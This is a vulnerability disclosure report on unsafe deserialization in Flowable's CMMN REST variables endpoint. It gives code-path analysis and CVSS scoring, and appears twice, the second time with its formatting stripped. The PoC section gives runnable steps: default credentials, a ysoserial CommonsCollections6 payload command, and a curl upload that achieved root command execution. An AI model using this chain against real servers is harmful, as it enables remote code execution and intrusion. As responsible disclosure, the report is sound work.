Security Vulnerability Report -- CWE-502
Summary
The Flowable CMMN REST interface PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables supports multipart/form-data uploads. When variableType=serializable, it directly deserializes uploaded file content via ObjectInputStream.readObject() without any class whitelist or ObjectInputFilter filtering. An attacker can upload malicious serialized objects to achieve RCE.
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable CMMN REST module's CaseInstanceVariableCollectionResource.createOrUpdateExecutionVariable method (PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables), when processing multipart/form-data requests with user-specified type=serializable, directly passes the uploaded file's byte stream to java.io.ObjectInputStream.readObject() for deserialization. This deserialization path is not configured with any ObjectInputFilter, class whitelist, or safe deserialization library (such as Apache Commons IO's ValidatingObjectInputStream). An attacker can construct serialized payloads containing malicious gadget chains to upload, thereby triggering arbitrary code execution (RCE) on the server. Under the default configuration, rest.variables.allow.serializable=true, and the vulnerability is directly exploitable.
Exploitation Prerequisites
| Condition |
Description |
| Authentication |
Requires Basic Auth authentication (@Authorization(value = "basicAuth")) |
| Network Reachability |
Intranet/public network (depending on deployment) |
| Configuration Dependency |
Triggerable with default config (rest.variables.allow.serializable default value is true) |
| Other Prerequisites |
Need a valid caseInstanceId to exist; classpath needs exploitable gadget chains (such as Commons Collections, Spring, etc., common libraries; Flowable project itself depends on many third-party libraries) |
Trigger Location
file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java:365-366
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
Data Flow Overview
-
Entry Layer: PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables (multipart/form-data)
- file:
CaseInstanceVariableCollectionResource.java:83-88
- Receives
HttpServletRequest request, containing multipart file upload
-
Route Dispatch: createVariable(caseInstance, false, request, response)
- file:
CaseInstanceVariableCollectionResource.java:87
- Calls
BaseVariableResource.createVariable
-
Request Type Check: request instanceof MultipartHttpServletRequest
- file:
BaseVariableResource.java:197-198
- After detecting multipart request, calls
setBinaryVariable
-
Parameter Parsing: Extract type parameter from multipart request
- file:
BaseVariableResource.java:333-335
variableType = paramMap.get(parameterName)[0], user-controlled
-
Type Validation: Only validates value is binary or serializable
- file:
BaseVariableResource.java:346-349
- No security filtering
-
Deserialization Sink: new ObjectInputStream(file.getInputStream()).readObject()
- file:
BaseVariableResource.java:365-366
- Directly deserializes user-uploaded file content, no class filtering
Data Flow Detailed Code Analysis
Chain 1: multipart + type=serializable -> Unsafe Deserialization
Layer 1: Entry Method
- file:
CaseInstanceVariableCollectionResource.java:83-88
- External input:
HttpServletRequest request (multipart/form-data), String caseInstanceId (path parameter)
- Operation: Gets CaseInstance object via
getCaseInstanceFromRequestWithoutAccessCheck (note: this method does not call restApiInterceptor, no access control check), then passes request to createVariable
@PutMapping(value = "/cmmn-runtime/case-instances/{caseInstanceId}/variables",
produces = "application/json", consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(
@PathVariable String caseInstanceId, HttpServletRequest request, HttpServletResponse response) {
CaseInstance caseInstance = getCaseInstanceFromRequestWithoutAccessCheck(caseInstanceId);
return createVariable(caseInstance, false, request, response);
}
Layer 2: createVariable Dispatch
- file:
BaseVariableResource.java:183-186
- External input:
caseInstance, request (passed through)
- Operation: Delegates to overloaded
createVariable method, passing scope=GLOBAL
protected Object createVariable(CaseInstance caseInstance, boolean async,
HttpServletRequest request, HttpServletResponse response) {
return createVariable(caseInstance.getId(), CmmnRestResponseFactory.VARIABLE_CASE,
async, request, response, RestVariableScope.GLOBAL, createVariableInterceptor(caseInstance));
}
Layer 3: Multipart Check
- file:
BaseVariableResource.java:193-198
- External input:
request
- Operation: Checks if request is
MultipartHttpServletRequest, if so calls setBinaryVariable
protected Object createVariable(String instanceId, int variableType, boolean async,
HttpServletRequest request, HttpServletResponse response,
RestVariableScope scope, VariableInterceptor variableInterceptor) {
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, instanceId,
variableType, true, async, scope, variableInterceptor);
} else {
// JSON branch ...
}
Layer 4: setBinaryVariable Parameter Parsing and Deserialization
- file:
BaseVariableResource.java:303-391
- External input:
request (multipart file and form parameters)
- Operation:
- Extracts file from multipart request:
request.getFile(request.getFileMap().keySet().iterator().next()) (line 312)
- Extracts
type and name from form parameters (lines 322-337)
- Only validates type is
binary or serializable (lines 346-349)
- When
type=serializable and isSerializableVariableAllowed=true (default), directly calls ObjectInputStream.readObject() (lines 365-366)
// Extract user-controlled type parameter
} else if ("type".equalsIgnoreCase(parameterName)) {
variableType = paramMap.get(parameterName)[0];
}
// Only simple string validation
if (variableType != null) {
if (!CmmnRestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !CmmnRestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
}
// Unsafe deserialization sink
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // <--- vulnerability trigger point
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();
}
isSerializableVariableAllowed initialized in afterPropertiesSet, default value is true (line 67):
isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);
Deserialization has no security measures:
- No
ObjectInputFilter (JDK 9+ native filtering mechanism)
- No
ValidatingObjectInputStream (Apache Commons IO safe deserialization utility)
- No custom
ObjectInputStream subclass overriding resolveClass
- No class whitelist/blacklist
CVSS Breakdown
| Vector |
Value |
Reason |
| Attack Vector (AV) |
Network (N) |
Triggered remotely via HTTP REST API |
| Attack Complexity (AC) |
Low (L) |
Only need to upload a constructed serialized payload, no additional complex conditions |
| Privileges Required (PR) |
Low (L) |
Requires Basic Auth valid credentials (regular user sufficient) |
| User Interaction (UI) |
None (N) |
No user interaction required |
| Scope (S) |
Unchanged (U) |
Vulnerability triggers within Flowable process, does not cross security boundaries |
| Confidentiality (C) |
High (H) |
RCE can read arbitrary data |
| Integrity (I) |
High (H) |
RCE can modify arbitrary data |
| Availability (A) |
High (H) |
RCE can破坏 service availability |
CVSS v3.1 Score: 8.8 (High)
Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
PoC Verification Report
Flowable CMMN REST Case Instance Variable Unsafe Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable CMMN REST Case Instance Variable Unsafe Deserialization RCE
- Affected Component/Port: Flowable REST 7.1.0 (localhost:8080), CMMN REST API endpoint
/cmmn-api/cmmn-runtime/case-instances/{caseInstanceId}/variables
- Vulnerability Description: The PUT interface, when processing multipart/form-data requests with type=serializable, directly deserializes uploaded file content via
ObjectInputStream.readObject() without any class filtering, can achieve RCE
- Root Cause Code Snippet:
// BaseVariableResource.java:365-366
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
- Brief Data Flow:
HTTP multipart PUT request (type=serializable, file=payload.ser)
↓
CaseInstanceVariableCollectionResource.createOrUpdateExecutionVariable() (CaseInstanceVariableCollectionResource.java:85-88)
↓
BaseVariableResource.createVariable() (BaseVariableResource.java:193-198)
↓
BaseVariableResource.setBinaryVariable() (BaseVariableResource.java:303)
↓
ObjectInputStream.readObject() (BaseVariableResource.java:365-366)
↓
CommonsCollections6 gadget chain → Runtime.exec("touch /tmp/deser_entry_0389") → RCE
Exploitation Conditions
| Condition |
Description |
| Authentication |
Requires Basic Auth credentials (default rest-admin:test) |
| Network Reachability |
Attacker can access Flowable CMMN REST service port (default 8080) |
| Configuration Dependency |
rest.variables.allow.serializable=true (enabled by default) |
| Other Prerequisites |
Need a valid caseInstanceId; server classpath needs exploitable gadget chain |
Exploitation Chain Progress
| Chain Stage |
Location (file:line) |
Status |
Evidence / Description |
| Entry |
CaseInstanceVariableCollectionResource.java:85-88 |
Reached |
PUT request successfully entered CMMN REST endpoint |
| Parameter Parsing |
BaseVariableResource.java:333-335 |
Reached |
Parsed multipart form parameter type=serializable |
| Deserialization Trigger |
BaseVariableResource.java:365-366 |
Triggered |
ObjectInputStream.readObject() executed |
| Gadget Chain Execution |
CommonsCollections6 → InvokerTransformer |
Executed |
gadget chain fully triggered |
| Command Execution |
Runtime.exec("touch /tmp/deser_entry_0389") |
Successful |
Server file /tmp/deser_entry_0389 created |
| Conclusion |
— |
RCE Successful |
Remote code execution achieved via deserialization gadget chain |
Exploitation Verification
Step 1 — Obtain valid caseInstanceId
curl -s -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances"
Actual execution result:
{"data":[{"id":"81e6055f-8ff9-11f1-a3d0-02423661ba3a","name":null,"state":"active","caseDefinitionId":"7eb2037e-8ff9-11f1-a3d0-02423661ba3a",...}]}
Step 2 — Generate CommonsCollections6 RCE payload
java \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.management/javax.management=ALL-UNNAMED \
--add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 "touch /tmp/deser_entry_0389" > payload_rce.ser
Step 3 — Send payload to target endpoint
curl -v -X PUT "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances/81e6055f-8ff9-11f1-a3d0-02423661ba3a/variables" \
-u rest-admin:test \
-F "name=rce_poc" \
-F "type=serializable" \
-F "file=@payload_rce.ser"
Actual execution result:
Before request, server does not have /tmp/deser_entry_0389:
$ ls -la /tmp/deser_entry_0389
ls: cannot access '/tmp/deser_entry_0389': No such file or directory
HTTP response:
HTTP/1.1 201 Created
{"name":"rce_poc","type":"serializable","value":null,"valueUrl":"http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances/81e6055f-8ff9-11f1-a3d0-02423661ba3a/variables/rce_poc/data","scope":"global"}
After request, server filesystem:
$ ls -la /tmp/deser_entry_0389
-rw-r----- 1 root root 0 Aug 4 12:10 /tmp/deser_entry_0389
Conclusion: The attacker uploaded a CommonsCollections6 serialized payload via PUT multipart request to the CMMN REST case-instances variable interface. The server-side ObjectInputStream.readObject() directly deserialized it and triggered the gadget chain, successfully executing touch /tmp/deser_entry_0389, creating a file on the server filesystem (root privileges, timestamp consistent with request time). RCE verification successful.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Security Vulnerability Report -- CWE-502
Summary
The Flowable CMMN REST interface PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables supports multipart/form-data uploads. When
variableType=serializable, it directly deserializes uploaded file content viaObjectInputStream.readObject()without any class whitelist or ObjectInputFilter filtering. An attacker can upload malicious serialized objects to achieve RCE.Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit:
74fdb349c134e96e1f10592020ccca6e2e4b85f0Static Analysis Report
Vulnerability Overview
The Flowable CMMN REST module's
CaseInstanceVariableCollectionResource.createOrUpdateExecutionVariablemethod (PUT/cmmn-runtime/case-instances/{caseInstanceId}/variables), when processing multipart/form-data requests with user-specifiedtype=serializable, directly passes the uploaded file's byte stream tojava.io.ObjectInputStream.readObject()for deserialization. This deserialization path is not configured with anyObjectInputFilter, class whitelist, or safe deserialization library (such as Apache Commons IO'sValidatingObjectInputStream). An attacker can construct serialized payloads containing malicious gadget chains to upload, thereby triggering arbitrary code execution (RCE) on the server. Under the default configuration,rest.variables.allow.serializable=true, and the vulnerability is directly exploitable.Exploitation Prerequisites
@Authorization(value = "basicAuth"))rest.variables.allow.serializabledefault value istrue)Trigger Location
file:
modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java:365-366Data Flow Overview
Entry Layer:
PUT /cmmn-runtime/case-instances/{caseInstanceId}/variables(multipart/form-data)CaseInstanceVariableCollectionResource.java:83-88HttpServletRequest request, containing multipart file uploadRoute Dispatch:
createVariable(caseInstance, false, request, response)CaseInstanceVariableCollectionResource.java:87BaseVariableResource.createVariableRequest Type Check:
request instanceof MultipartHttpServletRequestBaseVariableResource.java:197-198setBinaryVariableParameter Parsing: Extract
typeparameter from multipart requestBaseVariableResource.java:333-335variableType = paramMap.get(parameterName)[0], user-controlledType Validation: Only validates value is
binaryorserializableBaseVariableResource.java:346-349Deserialization Sink:
new ObjectInputStream(file.getInputStream()).readObject()BaseVariableResource.java:365-366Data Flow Detailed Code Analysis
Chain 1: multipart + type=serializable -> Unsafe Deserialization
Layer 1: Entry Method
CaseInstanceVariableCollectionResource.java:83-88HttpServletRequest request(multipart/form-data),String caseInstanceId(path parameter)getCaseInstanceFromRequestWithoutAccessCheck(note: this method does not callrestApiInterceptor, no access control check), then passes request tocreateVariableLayer 2: createVariable Dispatch
BaseVariableResource.java:183-186caseInstance,request(passed through)createVariablemethod, passingscope=GLOBALLayer 3: Multipart Check
BaseVariableResource.java:193-198requestMultipartHttpServletRequest, if so callssetBinaryVariableLayer 4: setBinaryVariable Parameter Parsing and Deserialization
BaseVariableResource.java:303-391request(multipart file and form parameters)request.getFile(request.getFileMap().keySet().iterator().next())(line 312)typeandnamefrom form parameters (lines 322-337)binaryorserializable(lines 346-349)type=serializableandisSerializableVariableAllowed=true(default), directly callsObjectInputStream.readObject()(lines 365-366)isSerializableVariableAllowedinitialized inafterPropertiesSet, default value istrue(line 67):Deserialization has no security measures:
ObjectInputFilter(JDK 9+ native filtering mechanism)ValidatingObjectInputStream(Apache Commons IO safe deserialization utility)ObjectInputStreamsubclass overridingresolveClassCVSS Breakdown
CVSS v3.1 Score: 8.8 (High)
Vector string:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HPoC Verification Report
Flowable CMMN REST Case Instance Variable Unsafe Deserialization RCE
Vulnerability Summary
/cmmn-api/cmmn-runtime/case-instances/{caseInstanceId}/variablesObjectInputStream.readObject()without any class filtering, can achieve RCEExploitation Conditions
rest.variables.allow.serializable=true(enabled by default)Exploitation Chain Progress
/tmp/deser_entry_0389createdExploitation Verification
Step 1 — Obtain valid caseInstanceId
curl -s -u rest-admin:test "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/case-instances"Actual execution result:
{"data":[{"id":"81e6055f-8ff9-11f1-a3d0-02423661ba3a","name":null,"state":"active","caseDefinitionId":"7eb2037e-8ff9-11f1-a3d0-02423661ba3a",...}]}Step 2 — Generate CommonsCollections6 RCE payload
Step 3 — Send payload to target endpoint
Actual execution result:
Before request, server does not have
/tmp/deser_entry_0389:HTTP response:
After request, server filesystem:
Conclusion: The attacker uploaded a CommonsCollections6 serialized payload via PUT multipart request to the CMMN REST case-instances variable interface. The server-side
ObjectInputStream.readObject()directly deserialized it and triggered the gadget chain, successfully executingtouch /tmp/deser_entry_0389, creating a file on the server filesystem (root privileges, timestamp consistent with request time). RCE verification successful.Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.